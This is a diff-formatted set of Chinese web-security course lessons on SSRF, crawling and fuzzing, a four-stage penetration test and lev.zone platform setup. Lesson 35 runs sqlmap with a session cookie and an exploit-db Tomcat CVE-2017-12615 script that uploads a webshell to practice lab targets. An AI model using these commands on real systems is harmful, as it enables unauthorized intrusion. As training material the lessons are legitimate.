之后,我们通过一个SSRF示例,更好地理解了SSRF攻击的实现方式以及可能造成的后果。此外,我们还了解了一种特殊的Blind SSRF,事实上它就是不存在回显的SSRF攻击,不过我们也可以通过带外的方式获取到一些隐私数据。
|
||||
|
||||
然后,我们学习了SSRF攻击的危害,知道了由于内网服务防御相对较弱,所以导致了SSRF攻击危害较为严重。攻击者可以利用SSRF攻击实现未经授权的访问或操作、对内网进行扫描、利用file协议读取内网服务器中的本地文件以及发起DOS攻击。
|
||||
|
||||
接着,我们对SSRF漏洞存在的原因进行了分析,分析后我们知道SSRF其实就是两方面的原因所导致,一方面是由于对输入的URL限制不够充分,另一方面是因为内网中的防御措施不够完整。
|
||||
|
||||
最后,我们了解了SSRF攻击的抵御及绕过方式,知道了可以通过限制协议以及黑白名单验证的方式来抵御SSRF攻击。攻击者也可以利用八进制表达URL以及利用@来绕过黑白名单对于URL内容的限制。
|
||||
|
||||
思考题
|
||||
|
||||
你知道还有哪些SSRF攻击的防御措施吗?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
122
专栏/Web漏洞挖掘实战/34CrawlerVSFuzzing:DAST与机器学习.md
Normal file
122
专栏/Web漏洞挖掘实战/34CrawlerVSFuzzing:DAST与机器学习.md
Normal file
@ -0,0 +1,122 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
34 Crawler VS Fuzzing:DAST与机器学习
|
||||
你好,我是王昊天。
|
||||
|
||||
经过之前的学习,相信你已经对Web漏洞挖掘的基础知识有了一定的理解。其中,我们学习了多种Web漏洞攻击方式,例如SQL注入以及SSRF攻击。事实上,网络攻防与战争是类似的。攻击者就好像侵略者一样想要通过攻击行为去获取一些资源或者满足自己的目的,而Web应用开发者则像抵抗军一样去尽力守护自己的城市。
|
||||
|
||||
我对战争也有一定的研究,在八国联军侵略祖国时,我们对敌军飞机的进攻束手无策,只有在看到它之后使用手枪尝试发射子弹击落它们。这无论是对敌人的侦查以及攻击方式都是不够强力的。当我们祖国富强之后,有了雷达探测以及导弹系统,就能及时发现敌人的飞机并将它们击落。其实,在网络攻防中也存在类似于雷达、导弹一样的工具,它们为Crawler与Fuzzing,这一讲就让我们一起学习它吧!
|
||||
|
||||
Crawler VS Fuzzing
|
||||
|
||||
Crawler即网络爬虫,我们可以利用它来爬取一些自己想要的数据,例如豆瓣网的评分以及财经网的股市信息等。在网络攻防中它还具有另一个作用,我们可以用它来爬取待攻击页面的所有链接,这样就可以扩充我们的攻击目标,使我们不仅对当前页面发起攻击,还可以对其相关的页面进行攻击。所以,我们说 Crawler就像个雷达一样,它可以扫描当前页面的信息。这样,我们就能获取一些其它可供攻击的目标页面。
|
||||
|
||||
而Fuzzing即模糊测试,你可能对它较为陌生,不过请不用担心,事实上它就是一种软件测试技术,我们可以通过提供大量非预期的输入并监视异常结果来发现软件的故障,从而寻找Web应用的漏洞。可见 Fuzzing 则像一个导弹一样,可以对页面发起强有力的攻击行为。
|
||||
|
||||
接下来,我们将具体学习一下它们。首先,我们来学习Crawler的相关知识。
|
||||
|
||||
Crawler网络爬虫
|
||||
|
||||
Crawler网络爬虫是一种按照一定的规则,从Web应用中获取想要的信息的程序或脚本,我们常将它称为网页蜘蛛、网络机器人。
|
||||
|
||||
这么说可能有点抽象,为了让你更好地理解网络爬虫,下面我们一起看一个简单的示例。
|
||||
|
||||
from urllib import request
|
||||
print(request.urlopen(request.Request("https://lev.zone/")).read().decode("utf-8"))
|
||||
|
||||
|
||||
上述是一段 Python 爬虫代码,利用它我们就可以获取到潮汐社区首页的内容。运行代码获取到的输出为:
|
||||
|
||||
...
|
||||
<p class="tlak_p">使用潮汐时,你无需进行工具的安装或环境的配置,即可一键开启使用,在线对安全资产进行检测,极速开启主动安全学习之旅。</p>
|
||||
...
|
||||
<h5 class="mt-4">自动化攻击编排</h5>
|
||||
<p class="tlak_p">在潮汐,你可以根据接口,调用不同的安全工具,创建自动化的攻击检测编排,也可以直接使用其他小伙伴贡献的自动化编排,体验自动化主动安全检测的魅力!</p>
|
||||
...
|
||||
<a href="./pages/how-use.html" class="text-dark icon-move-right">了解更多
|
||||
|
||||
|
||||
由于内容太多,这里我截取了一部分输出,可以看到我们已经成功获取到了潮汐页面的内容。之后,你可以利用一些比较好用的 Python 库例如BS4,对数据内容进行解析,提取出我们需要的数据。这样,我们无需访问页面也可以获取到页面中我们想要的信息啦。
|
||||
|
||||
除此之外,还有很多情况需要Crawler爬虫的支持。一个典型的场景为冷启动问题,例如一个社区在创立之初,它的用户数目肯定是很少的,有一些新加入的用户看到社区没什么人,很容易因此放弃使用该社区。开发者为了避免这种情况,就会使用爬虫去一些人流量较大的Web应用例如微博,爬取一些用户的动态放到自己的社区里,这有利于构造出社区的氛围。
|
||||
|
||||
另一种情形为搜索引擎,如今有很多出名的搜索引擎,例如百度以及 Google。它们当中保存有很多的数据,这些数据都是通过爬虫所获取到的。总体来说,现在是一个大数据时代,我们可以通过爬虫这个低成本高收益的方式去获取想要的数据。
|
||||
|
||||
以上都是爬虫的通用功能,而对于攻击者而言,爬虫对我们也是有很多帮助的。当我们想要攻击一个Web应用时,例如http://lev.zone,我们会想要获取这个Web页面的所有链接,这可以扩大我们的攻击面,使得我们攻击成功的概率增加。而需要做到这点,我们**只需要将爬虫获取到的内容做解析,将其中 中的内容进行提取,就可以获取到页面的链接了**。
|
||||
|
||||
到这里,你已经对Crawler网络爬虫的实现方式、原理及功能有了一定的了解。下面,让我们一起学习另一部分Fuzzing模糊测试的内容。
|
||||
|
||||
Fuzzing模糊测试
|
||||
|
||||
Fuzzing技术最早诞生于1950年,那时候的计算机数据主要保存在打孔卡片上,计算机程序想要对数据进行操作就需要读取这些卡片的数据进行计算和输出。
|
||||
|
||||
这个设想是可行的,可是有时候会有一些垃圾卡片,计算机在读取它们时会获得一些不正常的输入信息,这些偶然的错误会导致计算机程序产生错误和异常甚至崩溃,这就是Fuzzing最初的来历。
|
||||
|
||||
如今,随着计算机技术的发展,Fuzzing技术也在不断发展,现在的Fuzzing是依靠计算机软件自动执行的,包括使用随机函数生成随机的测试用例,然后计算机会将这些输入发送给测试接口,并自动分析系统是否因为这些输入导致异常的发生。这种依赖于计算机的自动执行方式会使得Fuzzing的效率大大提升。效率的提高也使得Fuzzing模糊测试成为了目前最主流的漏洞挖掘方案,据了解,近年来80%以上的漏洞都是通过Fuzzing发现的。
|
||||
|
||||
不知道你是否还记得我们在学习XSS注入时,曾经学过一款名为XSStrike的XSS检测工具,事实上它就是一款典型的Fuzzing工具。
|
||||
|
||||
|
||||
|
||||
从工具的使用截图中,我们可以看到它按照一定的格式随机生成了很多的payload,然后将它发送给我们指定的链接,并将页面的异常响应概率返回给了我们。这就是Fuzzing模糊测试的功能之一,其实我们还可以利用它来绕WAF、判断Web应用是否有注入漏洞以及 Bug 的存在。
|
||||
|
||||
到这里,你已经对Fuzzing模糊测试有了一定的理解,接下来,让我们一起进入到实战部分,将Crawler以及Fuzzing相结合,这可以帮助你更好地理解Crawler与Fuzzing各自的作用与彼此之间的联系。
|
||||
|
||||
实战部分
|
||||
|
||||
从这一讲的实战部分开始,我们将会用到一个好用的安全工具网站——潮汐社区版http://lev.zone。它可以帮助我们解决安全工具使用的相关问题,例如安全工具的使用、更新及维护,我们利用它可以便捷地使用各种安全工具。如果你乐于分享,你也可以将自己的工具上传到其中,供其他用户使用。
|
||||
|
||||
|
||||
|
||||
接下来,我们需要点击立即体验并注册账号,在注册过程中需要用到邀请码,你使用VefMiMj7N37tHDL7即可,不过它仅可支持有限个用户使用。然后登录进去,就能看到很多的安全工具啦。
|
||||
|
||||
|
||||
|
||||
其中就包括了Crawler工具以及Fuzzing工具。不过我们在使用之前需要进行一定的配置设置。
|
||||
|
||||
这里需要点击网页顶栏的文档,然后选择使用说明就可以看到该应用的配置方式。
|
||||
|
||||
|
||||
|
||||
注意,因为我们仅仅需要使用集成好了的工具,所以我们只用按照文档完成 Docker安装、VPN介入凭证设置、SSH连接配置以及Docker-compose启动这四步即可。完成之后,我们就可以任意使用其中的工具了。
|
||||
|
||||
首先,我们选择crawler:1.0这款工具,然后用它来创建一个任务,它可以用来爬取一个网站的所有同域名链接。
|
||||
|
||||
这里,我们选择谜团http://mituan.zone中的专项·XSS跨站脚本攻击(实战)作为靶场,将它的链接例如:
|
||||
|
||||
http://be10a2b2f16548f38ed07112904ddaa8.app.mituan.zone
|
||||
|
||||
|
||||
输入到crawler工具中,点击运行,等待任务完成就会返回爬取到的链接:
|
||||
|
||||
http://be10a2b2f16548f38ed07112904ddaa8.app.mituan.zone/level1.php?name=test
|
||||
|
||||
|
||||
这样,我们就完成了爬虫的功能,接着,我们将爬取到的链接传递给Fuzzing模糊测试工具XSStrike使用。
|
||||
|
||||
结合我们之前对XSStrike的学习,从它运行的结果来看,我们可以判断出该页面存在XSS注入攻击。
|
||||
|
||||
到这里,我们已经成功运用了Crawler与Fuzzing对一个Web应用发起漏洞探测。
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了Crawler网络爬虫与Fuzzing模糊测试。
|
||||
|
||||
首先,我们分析了Crawler网络爬虫的原理,即向Web应用发送请求获取响应内容,然后从响应内容中提取需要的信息。并且,我们还知道了爬虫的功能,它不仅可以用来获取信息,还可以用来解决冷启动问题。从攻击者角度来说,爬虫还可以用来扩大攻击面,让我们的思维进行扩展。
|
||||
|
||||
之后,我们学习了Fuzzing模糊测试,了解到它其实就是按照一定的规则构造随机输入,然后将输入发送给网页接口进行测试,之后根据响应结果是否有异常来判断Web应用是否存在与此相关的安全问题。
|
||||
|
||||
最后,我们利用潮汐社区版,在对该Web应用进行一定的配置之后,对谜团中的靶场XSS跨站脚本攻击(实战)发起攻击行为,先使用Crawler网络爬虫获取攻击页面的链接,然后将获取到的链接交给Fuzzing模糊测试工具XSStrike使用,根据结果,我们发现该靶场存在XSS注入问题。
|
||||
|
||||
思考题
|
||||
|
||||
你认为Fuzzing模糊测试工具的优点有哪些?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
188
专栏/Web漏洞挖掘实战/35自动化攻防:低代码驱动的渗透工具积累.md
Normal file
188
专栏/Web漏洞挖掘实战/35自动化攻防:低代码驱动的渗透工具积累.md
Normal file
@ -0,0 +1,188 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
35 自动化攻防:低代码驱动的渗透工具积累
|
||||
你好,我是王昊天。
|
||||
|
||||
在之前的课程中,我们学习了一些Web漏洞挖掘的基础知识,这为我们打下了良好的基础。其实在Web攻防中,还有一个很重要的部分,那就是渗透测试,它就是我们发现Web漏洞的一般方式。
|
||||
|
||||
其中,在渗透测试时,我们一般需要用到很多网络安全工具,这通常是一个麻烦的问题,因为我们每使用一个网络安全工具都需要获取并学习它,之后再次使用它时还需要注意版本有无更新。不过你不用担心,我已经为你解决了这个问题,潮汐社区版已经集成了大部分常见的网络安全工具,并且会定期更新它们的版本以供你使用。
|
||||
|
||||
今天,让我们结合潮汐社区版一起来学习渗透测试基础吧!
|
||||
|
||||
渗透测试基础
|
||||
|
||||
渗透测试是指安全从业人员对某一网络系统模拟黑客入侵进行攻击,旨在发现网络系统中的不安全因素并进行及时修补。
|
||||
|
||||
它主要是从Web页面入侵到服务器主机,再从服务器主机渗透到域内环境的一个过程,而从Web到服务器的入侵也就是渗透测试的基础。
|
||||
|
||||
一般来说,渗透测试基础可以分为四个方面,它们分别为目标确认、信息搜集、漏洞发现以及漏洞利用。
|
||||
|
||||
|
||||
|
||||
首先,我们来学习渗透测试基础的第一个内容——目标确认。
|
||||
|
||||
目标确认
|
||||
|
||||
渗透测试的开始,需要我们明确自己着手的目标。
|
||||
|
||||
一般我们会有待攻击Web页面的URL链接,在目标确认阶段,我们需要根据这个链接获取到Web应用的真实IP地址以及存活子域的信息。接下来,让我们来学习如何获取网页的真实IP。
|
||||
|
||||
IP地址获取
|
||||
|
||||
当我们知道一个网站的网址时,通过直接ping的方式,可以返回一个IP信息,但是我们大概率无法得到网站源服务器的真实IP。这是因为部分网站会使用CDN技术将自己的源站真实IP隐藏起来,该技术会通过使用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,当用户访问网络时,由这些缓存服务器直接响应用户请求。
|
||||
|
||||
为了让你更好地理解获取IP的方式,下面我们一起看一个示例。
|
||||
|
||||
ping www.mituan.zone
|
||||
PING www.mituan.zone (54.222.162.186): 56 data bytes
|
||||
64 bytes from 54.222.162.186: icmp_seq=0 ttl=48 time=27.061 ms
|
||||
64 bytes from 54.222.162.186: icmp_seq=1 ttl=48 time=29.629 ms
|
||||
…
|
||||
|
||||
|
||||
在这个示例中,我们通过ping命令来获取谜团域名的IP地址,那么我们如何知道它是真实的源站IP还是一个CDN地址呢?
|
||||
|
||||
这时,我们就可以用到CDN检测工具——moreping,来简单检测目标网站是否使用了CDN技术,moreping是基于Python去调用API接口来高速批量多地ping来检测资产CDN归属的工具。
|
||||
|
||||
我们已经将它集成在了潮汐社区版(lev.zone)之中,你可以在注册登录之后,搜索moreping对它进行使用。注意,在注册过程中需要用到邀请码,你使用VefMiMj7N37tHDL7即可,不过它仅可支持有限个用户使用。
|
||||
|
||||
|
||||
|
||||
点开moreping编排,我们可以看到该编排的描述信息及使用说明。点击新建任务,我们可以看到如下配置页面:
|
||||
|
||||
|
||||
|
||||
我们可以在这个页面输入想设置的任务名称例如moreping,然后选择一个调用方式,这里我们用快速模式就可以了。最后我们输入domain信息即可,点击提交,任务就开始运行了。
|
||||
|
||||
{'host': 'www.mituan.zone', 'isCdn': False, 'ip': {'54.222.162.186'}}
|
||||
|
||||
|
||||
运行结束之后,我们可以获得如上信息,在该信息的 isCdn 字段,我们可以获取到该IP是否属于CDN,这样我们就能分辨出真实的IP信息。
|
||||
|
||||
到这里,我们已经知道了如何获取待攻击页面的IP信息,下一步让我们进入到信息搜集阶段。
|
||||
|
||||
信息搜集
|
||||
|
||||
信息搜集对于渗透测试是不可或缺的一部分。信息搜集的好坏与多少将一定程度上导致这次渗透任务的结果优劣,不论是网站暴露出的信息还是通过安全人员发掘出来的信息,都有为后续步骤创造机遇,为找到突破创造可能。
|
||||
|
||||
下面,让我们学习一款典型的信息搜集工具——Nmap。
|
||||
|
||||
Nmap服务器信息扫描
|
||||
|
||||
Nmap是一个用于网络发现和安全审计的免费开源程序,用于网络扫描、服务升级计划管理以及主机或服务正常运行时间监控等任务。我们可以利用Nmap对服务器开放的端口、使用协议、提供服务、操作系统类型来一次全方位的扫描。
|
||||
|
||||
在目标确认阶段,我们获取到了www.mituan.com的真实IP地址54.222.162.186,我们就对它继续进行下一步的信息扫描操作。
|
||||
|
||||
在潮汐社区版的市场中搜索Nmap,然后点击新建任务并选择 port_os - nmap SYN 模式,输入谜团的IP地址,开始扫描目标主机开放端口、主机名及操作系统。
|
||||
|
||||
|
||||
|
||||
获取到的输出信息如上所示,我们可以获取到谜团服务器的开放端口信息。下面,让我们进入到漏洞发现阶段。
|
||||
|
||||
漏洞发现
|
||||
|
||||
在信息搜集阶段,我们可以发现谜团服务器的80端口运行着HTTP服务。
|
||||
|
||||
事实上,该服务对应的是谜团Web应用,但这里为了演示更方便,我们假设该服务对应着谜团中的 DVWA SQL Injection 靶场,并对其发起攻击。
|
||||
|
||||
我们首先开启谜团中的一个DVWA靶场,登录后选择其中的 SQL Injection 实例。之后,我们就可以对它进行漏洞发现。
|
||||
|
||||
sqlmap漏洞发现工具
|
||||
|
||||
我们很容易知道,这是一个SQL注入靶场,这样我们就可以使用潮汐社区版中的sqlmap SQL注入工具对它进行漏洞发现。
|
||||
|
||||
|
||||
|
||||
注意,由于DVWA靶场需要登录才可以访问,所以我们需要在cmd中输入cookie信息,所以它的输入应该与下方示例类似:
|
||||
|
||||
-u "http://1808d3f4e0bc4d8092ee9b26ad607e5a.app.mituan.zone/vulnerabilities/sqli/?id=chaoxi&Submit=Submit#" --cookie="PHPSESSID=phkop4mdpap307foab1e3veg91; security=low"
|
||||
|
||||
|
||||
完成配置之后,我们就可以点击提交,运行我们的sqlmap SQL注入检测工具,等待任务完成之后可以获得如下结果:
|
||||
|
||||
|
||||
|
||||
从输出中,我们可以看到生效的payload信息,从而判定出该Web应用存在SQL注入问题。
|
||||
|
||||
到这里,我们已经完成了渗透测试基础中的漏洞发现阶段,接下来,让我们开始学习漏洞利用的方式。
|
||||
|
||||
漏洞利用
|
||||
|
||||
当我们在漏洞发现阶段找到漏洞之后,我们就可以使用漏洞利用工具对Web应用进行攻击。
|
||||
|
||||
这里将用到谜团靶场中的,专题·极客时间课程系列Tomcat CVE-2017-12615靶场进行漏洞利用的演示,所以我们需要打开谜团,运行Tomcat CVE-2017-12615靶场。
|
||||
|
||||
|
||||
|
||||
从页面中,我们可以知道它使用的服务器版本为Apache Tomcat/8.5.19,于是,我们可以打开潮汐社区版中的工具exploitdb,这个工具可以根据关键词搜索相关的漏洞利用方式。
|
||||
|
||||
|
||||
|
||||
我们选择simple模式的快速模式,输入Tomcat8.5.19,然后点击提交,任务就开始运行了。
|
||||
|
||||
|
||||
|
||||
运行完成之后,我们可以看到如下返回信息,这代表我们可以在链接https://www.exploit-db.com/exploits/42966中获取到漏洞利用工具。
|
||||
|
||||
|
||||
|
||||
访问这一地址后,我们下载其中的Exploit工具,获取到一个Python文件42966.py。
|
||||
|
||||
|
||||
|
||||
由于不知道它的用法,我们下载来之后运行命令python3 42966.py,获取到它的使用方式如下:
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
|
||||
从使用方式中,我们发现需要使用 -u 参数来指定攻击的Web链接,而使用 -p 参数则可以反弹shell。
|
||||
|
||||
于是我们将Tomcat靶场的地址作为参数,执行如下命令:
|
||||
|
||||
python3 42966.py -u http://ab41e0726b9747ef851288e1bfea3682.app.mituan.zone:8080/ -p
|
||||
|
||||
|
||||
发现弹出了shell,攻击成功。
|
||||
|
||||
到这里,我们就完成了渗透测试基础的四个步骤,在学习的过程中我们多次用到潮汐开源社区中的工具,你可能对于潮汐开源社区还是比较陌生,接下来我来给你们介绍它的功能,确保你在使用起来更加得心应手。
|
||||
|
||||
潮汐开源社区
|
||||
|
||||
潮汐开源社区是一个开源的安全工具合集平台,里面包含了大部分我们常见的安全工具,供我们在线使用,这解决了我们安装及维护安全工具的问题。
|
||||
|
||||
同时,它还给我们提供了大量的编排,所谓编排就是一个或多个工具的不同使用方式的结合,例如在渗透测试基础中,我们可以利用moreping以及Nmap工具结合起来,实现对于待攻击应用的服务探测。
|
||||
|
||||
作为潮汐开源社区的用户,我们不仅可以使用其中集成好了的工具,还可以自己写一些编排,供其他用户使用。
|
||||
|
||||
|
||||
|
||||
总结
|
||||
|
||||
在这一讲中,我们学习了渗透测试基础相关的知识。
|
||||
|
||||
首先,我们知道了渗透测试可以分为四个部分,即目标确认、信息搜集、漏洞发现以及漏洞利用。
|
||||
|
||||
在对目标确认的过程中,我们调用了潮汐开源社区的moreping软件,它可以帮助我们判断url对应的IP信息是否是真实源IP。
|
||||
|
||||
当确认好目标的IP信息后,我们就进入到信息搜集阶段,在这个阶段,我们使用了潮汐开源社区的Nmap软件,它可以帮助我们判断一个IP开启的服务类型及协议信息。
|
||||
|
||||
然后,我们就进入到漏洞发现阶段,在这个阶段里,我们使用了潮汐开源社区的sqlmap工具,对一个Web页面进行检测,根据工具运行的结果,我们成功判断出了这个页面存在SQL注入漏洞。
|
||||
|
||||
最后,我们进入到漏洞利用阶段,在这个阶段,我们使用了exploitdb工具,查询到了Tomcat8.5.19中的漏洞,然后下载漏洞利用脚本,成功发起了攻击行为。
|
||||
|
||||
思考题
|
||||
|
||||
你认为在渗透测试基础的四个部分中,哪一部分最重要?
|
||||
|
||||
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
||||
|
||||
|
||||
|
||||
|
545
专栏/Web漏洞挖掘实战/36智能攻防:构建个性化攻防平台.md
Normal file
545
专栏/Web漏洞挖掘实战/36智能攻防:构建个性化攻防平台.md
Normal file
@ -0,0 +1,545 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
36 智能攻防:构建个性化攻防平台
|
||||
你好,我是王昊天。
|
||||
|
||||
在之前的课程中,我们多次用到了潮汐社区版这款Web应用,并且知道了我们不仅可以利用它去运行各种安全工具及编排,还可以自己编写一些编排进行上传供其他用户使用。
|
||||
|
||||
这一讲,我们将会一步一步地学习如何使用潮汐社区版,让你充分发挥这款安全Web应用的功能,进行各种智能化的网络攻防行为。
|
||||
|
||||
潮汐开源社区版的使用
|
||||
|
||||
对于用户而言,我们首先需要注册账号,在注册过程中需要一个邀请码,你使用VefMiMj7N37tHDL7即可(仅支持有限个用户使用),这样我们就能登录成功。潮汐开源社区版lev.zone具有三个功能,即对于工具或编排的使用、添加工具以及添加编排,它们操作的复杂度逐渐在上升,让我们首先来学习对于工具/编排的使用吧。
|
||||
|
||||
|
||||
|
||||
对于工具/编排的使用
|
||||
|
||||
关于工具/编排的使用对应着使用说明文档的内容,你可以先对它进行浏览,这样在学习时会有一个大局观。
|
||||
|
||||
|
||||
|
||||
事实上,我们可以将准备过程分为三部分,它们分别是前置环境安装、凭证上传与获取以及本地运行。
|
||||
|
||||
环境安装
|
||||
|
||||
在环境安装部分,我们进入到下方链接,选择适合自己操作系统的Docker进行安装。
|
||||
|
||||
https://docs.docker.com/get-docker/
|
||||
|
||||
|
||||
这一步中值得注意的是,我们需要确保安装的Docker Engine版本为20.10.10以上,如果你直接点击页面上的默认安装是没有问题的,但是如果你电脑中原本就有Docker工具,我们可以在命令行输入 docker info 查看它的版本信息,如果低于20.10.10版本,那么就需要重新下载了。
|
||||
|
||||
完成Docker安装后,我们要确保每次使用潮汐社区版时,Docker都处于启动状态。
|
||||
|
||||
接下来,我们就进入到了下一个环节——凭证上传与获取。
|
||||
|
||||
凭证上传与获取
|
||||
|
||||
每一个使用潮汐开源社区的用户,都需要将自己的设备与潮汐开源社区平台链接,以便工具包能够在本地运行。我们需要登录潮汐开源社区平台,在账户设置—我的设备中,选择添加设备,并生成随机Token,请注意,此Token只会展示一次,所以你最好把它记录在本地。
|
||||
|
||||
|
||||
|
||||
下面,我们就开始进行本地运行相关配置。
|
||||
|
||||
首先是对于SSH的配置,我们需要运用如下命令进入到SSH公钥的文件目录,新建config文件,并写入配置信息。
|
||||
|
||||
# 运行的命令
|
||||
$ cd ~/.ssh
|
||||
$ vim config
|
||||
|
||||
# 配置信息
|
||||
Host lev
|
||||
HostName service.lev.zone
|
||||
Port 2222
|
||||
User example_name #这里换成您潮汐开源社区的用户名
|
||||
|
||||
|
||||
这样就完成了对于SSH信息的配置。接下来,我们还需要启动docker-compose.yaml的内容。
|
||||
|
||||
本地运行
|
||||
|
||||
首先,我们在账户设置—我的设备中获取docker-compose.yml文件,然后进入docker-compose.yml所在文件目录,运行如下命令,搭建本地数据库环境、容器调用环境及与潮汐开源社区平台系统的远程链接,其中这里的Token即为凭证获取时记录在本地的内容。
|
||||
|
||||
LEV_USER=example_name LEV_TOKEN=“lev-token” docker compose up -d
|
||||
# 将example_name改为你的用户名,lev-token改为你的token内容。
|
||||
|
||||
|
||||
等待一段时间,使得容器全部启动完毕,恭喜你,到这里你就可以在潮汐开源社区任意使用各种安全工具啦!
|
||||
|
||||
添加工具
|
||||
|
||||
如果你不仅满足于对现有工具的使用,还希望在Web应用中添加自己喜欢的工具,那我们就需要学习如何添加工具。
|
||||
|
||||
注意,添加工具的学习需要你完成了使用工具/编排的相关配置,除此之外,我们还需要进行一些额外的配置。
|
||||
|
||||
环境安装
|
||||
|
||||
由于编写及上传个人工具与编排到潮汐开源社区的主要语言为Python3.10及以上的版本,所以我们需要安装相应的Python环境。
|
||||
|
||||
下载的方式为访问https://www.python.org/downloads/,然后选择符合你电脑操作系统的Python3最新版本即可。
|
||||
|
||||
这里我们还需要安装一个Python包管理器——PDM。因为潮汐开源社区会利用PDM进行一些包的管理、工具的可用性测试以及工具的上传。
|
||||
|
||||
下载的方式为进入PDM官网https://pdm.fming.dev/,然后点击Installtion选项,可以看到如下的命令行安装方式,我们只需要寻找符合自己电脑操作系统版本的命令进行安装即可。
|
||||
|
||||
# Linux/Mac
|
||||
curl -sSL https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py | python3 -
|
||||
|
||||
# Windows
|
||||
(Invoke-WebRequest -Uri https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py -UseBasicParsing).Content | python -
|
||||
|
||||
|
||||
在安装完成之后,我们还需要运行如下命令,将安装结束后的路径加入到系统路径中。
|
||||
|
||||
export PATH=/root/.local/bin:$PATH
|
||||
|
||||
|
||||
完成这一步骤后,我们可以输入 pdm -V 进行检查,如果看到输出的版本信息就代表我们安装成功了。
|
||||
|
||||
接下来,我们需要添加pep582环境变量的配置,如下列举了不同情况下的添加方式,你可以据此寻找合适的类别进行添加。
|
||||
|
||||
# Bash
|
||||
pdm --pep582 >> ~/.bash_profile
|
||||
pdm completion bash > /etc/bash_completion.d/pdm.bash-completion
|
||||
pdm config feature.install_cache on
|
||||
|
||||
# Zsh
|
||||
pdm --pep582 >> ~/.zprofile
|
||||
pdm config feature.install_cache on
|
||||
|
||||
# Oh-My-Zsh:
|
||||
pdm --pep582 >> ~/.zprofile
|
||||
mkdir $ZSH_CUSTOM/plugins/pdm
|
||||
pdm completion zsh > $ZSH_CUSTOM/plugins/pdm/_pdm
|
||||
# Then make sure pdm plugin is enabled in ~/.zshrc
|
||||
pdm config feature.install_cache on
|
||||
|
||||
#Fish
|
||||
pdm --pep582 >> ~/.fprofile
|
||||
pdm completion fish > ~/.config/fish/completions/pdm.fish
|
||||
pdm config feature.install_cache on
|
||||
|
||||
# Powershell
|
||||
# Create a directory to store completion scripts
|
||||
pdm --pep582
|
||||
mkdir $PROFILE\..\Completions
|
||||
echo @'
|
||||
Get-ChildItem "$PROFILE\..\Completions\" | ForEach-Object {
|
||||
. $_.FullName
|
||||
}
|
||||
'@ | Out-File -Append -Encoding utf8 $PROFILE
|
||||
# Generate script
|
||||
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
|
||||
pdm completion powershell | Out-File -Encoding utf8 $PROFILE\..\Completions\pdm_completion.ps1
|
||||
pdm config feature.install_cache on
|
||||
|
||||
|
||||
最后,我们还需要对编译器进行PDM的设置。
|
||||
|
||||
|
||||
|
||||
这里我们需要用VSCode编译器,点击左下角的设置按键,然后搜索settings,点击Edit in settings.json将如下命令加入到VSCode的settings.json中。
|
||||
|
||||
{
|
||||
"python.autoComplete.extraPaths": ["__pypackages__/<major.minor>/lib"],
|
||||
"python.analysis.extraPaths": ["__pypackages__/<major.minor>/lib"]
|
||||
}
|
||||
|
||||
|
||||
这样VSCode就可以支持PDM的设置方式,接下来,我们进入到凭证上传与获取阶段。
|
||||
|
||||
凭证上传与获取
|
||||
|
||||
每一个使用潮汐开源社区的开发者用户,都需要完成SSH公钥上传的操作,具体的实现方式如下:
|
||||
|
||||
Linux:
|
||||
cd ~/.ssh
|
||||
ls -la
|
||||
# 如果有 .pub 文件存在(如 id_rsa.pub),则不需要再生成 SSH 公钥
|
||||
cat ~/.ssh/id_rsa.pub
|
||||
|
||||
Windows:
|
||||
cd C:\Users\username\.ssh #username 是当前 Windows 用户名称
|
||||
dir
|
||||
# 如果有 .pub 文件存在(如 id_rsa.pub),则不需要再生成 SSH 公钥
|
||||
type C:\Users\username\.ssh\id_rsa.pub
|
||||
|
||||
|
||||
如果发现没有SSH密钥对,我们需要运行如下命令生成:
|
||||
|
||||
Linux:
|
||||
ssh-keygen -t ecdsa -C "[email protected]"
|
||||
# 不建议利用 rsa 加密算法生成密钥对,ecdsa 安全性更高
|
||||
|
||||
Windows:
|
||||
安装 git: https://git-scm.com/download/win
|
||||
进入 git bash
|
||||
ssh-keygen
|
||||
# 不建议利用 rsa 加密算法生成密钥对,ecdsa 安全性更高
|
||||
|
||||
|
||||
生成密钥对后,我们在账户设置—公钥管理中,选择上传SSH公钥,然后将上述步骤生成的 .pub 公钥文件内容复制粘贴进行添加即可。
|
||||
|
||||
除此之外,我们还需要获取SDK凭证,它会在我们上传工具包时进行运用,我们在账户设置—开发者设置中,选择生成Token,并将它记录在本地。
|
||||
|
||||
到这里,我们就完成了凭证的获取。下面,我们学习如何对工具的镜像进行管理。
|
||||
|
||||
镜像管理
|
||||
|
||||
在学习镜像管理之前,我们先来了解一下镜像的作用是什么?
|
||||
|
||||
在我们潮汐社区版中的工具,都是放在镜像中的,然后系统调用上传的py文件,对这个镜像进行执行函数的设置从而运行这个工具。这可能有点复杂,不过不用担心,我们这里仅仅需要学会如何构建镜像以及上传镜像。
|
||||
|
||||
在Docker中,我们可以用一个Dockerfile来构建镜像,为了让你更好地理解,下面我们一起看一个示例:
|
||||
|
||||
FROM python
|
||||
RUN pip install requests
|
||||
RUN pip install bs4
|
||||
RUN pip install argparse
|
||||
RUN pip install lxml
|
||||
COPY dsuc.py .
|
||||
|
||||
|
||||
